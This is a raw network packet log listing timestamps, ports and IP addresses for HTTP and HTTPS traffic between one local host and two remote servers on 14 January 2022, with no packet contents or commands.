Jan 14, 2022 02:05:10.987477064 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987505913 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987535954 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987575054 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987610102 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987647057 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987651110 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.987684011 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987720966 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:10.987721920 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:10.987760067 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.062438965 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062478065 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062509060 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062536001 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062558889 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062586069 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062611103 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062622070 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.062639952 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062660933 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.062666893 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062668085 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.062673092 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.062696934 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062725067 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062736034 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.062752008 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062779903 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062791109 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.062803030 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062829018 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062854052 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062879086 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062903881 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062931061 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062957048 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062961102 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.062979937 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.062992096 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063008070 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063030958 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063040972 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063055038 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063081980 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063107967 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063132048 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063139915 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063159943 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063183069 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063193083 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063211918 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063235044 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063260078 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063285112 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063291073 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063313007 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063343048 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063349962 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063369036 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063396931 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063424110 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063448906 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063462973 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063474894 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063502073 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063517094 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063524961 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063530922 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063560963 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063581944 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063605070 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.063608885 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063633919 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.063633919 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.064924002 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.110615015 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.138523102 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138576031 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138618946 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138659000 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138698101 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138736010 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138736010 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.138773918 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138775110 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.138816118 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138854980 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138863087 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.138895035 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138933897 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.138969898 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.138972044 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139009953 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139049053 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139086008 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139125109 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139126062 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.139164925 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139202118 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139240026 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139276981 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139276981 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.139314890 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139353991 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139389992 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139422894 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.139426947 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139468908 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139504910 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139543056 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139576912 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.139583111 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139620066 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139657021 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139693975 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139725924 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.139733076 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139772892 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139808893 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139847040 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139880896 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.139884949 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139923096 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139960051 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.139997005 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.140031099 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.140034914 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.140074968 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.140110970 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.140147924 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.140186071 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.140188932 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.140223026 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.140261889 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.142600060 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.185501099 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.185560942 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.185693979 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.214996099 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215054035 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215096951 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215136051 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215173960 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215208054 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215213060 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215240955 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215253115 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215295076 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215301037 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215334892 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215373039 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215406895 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215413094 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215452909 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215488911 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215490103 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215526104 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215531111 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215569973 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215610981 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215611935 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215655088 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215689898 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215691090 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215732098 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215766907 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215770006 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215807915 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215847015 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215851068 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215884924 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215924025 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215925932 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215962887 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.215996981 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.215998888 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216038942 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216077089 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216111898 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.216113091 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216152906 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216161013 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.216191053 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216228962 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216229916 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.216268063 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216304064 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216308117 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.216342926 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216382027 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216383934 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.216419935 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216454983 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.216459036 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216499090 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216536999 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216572046 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.216576099 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.216614008 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.216614962 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.217201948 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.217243910 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.217268944 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.217281103 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.217323065 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.217360973 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.222599983 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.260420084 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260445118 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260463953 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260482073 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260497093 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260513067 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260529041 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260541916 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260557890 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260574102 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260590076 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260606050 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260603905 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.260658979 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.260667086 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.260672092 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.260693073 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.260711908 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260730982 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260752916 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.260817051 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.261697054 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.291224957 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.291275024 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.291318893 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.291387081 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.291409016 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.291445017 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.291795969 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.291834116 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.291892052 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.291907072 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.291948080 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.292107105 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.313929081 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.313990116 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.314052105 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.314073086 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.314126015 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.315118074 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.315170050 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.315181971 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.315201044 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.315228939 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.315256119 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.315390110 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.315437078 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.315452099 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.315469980 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.315505981 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.317977905 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.317990065 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.336339951 CET	80	49862	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:11.336502075 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.336554050 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.336589098 CET	49862	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:11.336596012 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.336613894 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.336652040 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.336694956 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.336797953 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.336838961 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.336895943 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.336909056 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.336940050 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.338042974 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.338088036 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.338216066 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.338234901 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.338249922 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.338392019 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.338480949 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.338520050 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.338582993 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.338597059 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.338643074 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.338886023 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.338933945 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.338969946 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.338989019 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.339006901 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.339025021 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.339155912 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.339230061 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.339268923 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.339797020 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.339812040 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.339826107 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.346429110 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.359330893 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359374046 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359489918 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.359504938 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359519005 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.359580994 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359617949 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359637976 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.359652996 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359668016 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.359879971 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359919071 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359945059 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.359957933 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.359966993 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.359981060 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.360001087 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.360095978 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.360558033 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.360604048 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.360801935 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.360862970 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.360878944 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.360893965 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.360928059 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.361123085 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361161947 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361186028 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.361196995 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.361221075 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361255884 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.361460924 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361496925 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361546040 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.361557961 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361588955 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.361798048 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361834049 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361890078 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.361916065 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.361953020 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.362152100 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.362188101 CET	443	49864	144.76.136.153	192.168.2.3
